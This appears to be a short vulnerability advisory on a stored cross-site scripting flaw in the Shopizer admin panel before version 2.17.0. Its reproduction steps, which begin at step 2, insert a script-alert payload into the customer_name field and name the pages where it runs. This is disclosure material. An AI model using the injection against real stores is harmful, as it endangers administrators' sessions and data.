Stored XSS - 'customer_name' Administration 

Description:
A stored cross-site scripting (XSS) vulnerability in Shopizer before version 2.17.0 allows remote attackers to inject arbitrary web script or HTML via customer_name in various forms of store administration and saved in the database. The code is executed for any user of store administration when information is fetched from backend.

2. Open "Customers" (http://example.com/admin/customers/list.html) and click on the "Details" button
3. Change customer name to <script>alert(1)</script> and save it
4. Open "Customers" -> XSS payload will trigger

Except "Customers" section, XSS will be executed in "Orders" (/admin/orders/list.html) and "Recent orders" (/admin/home.html)
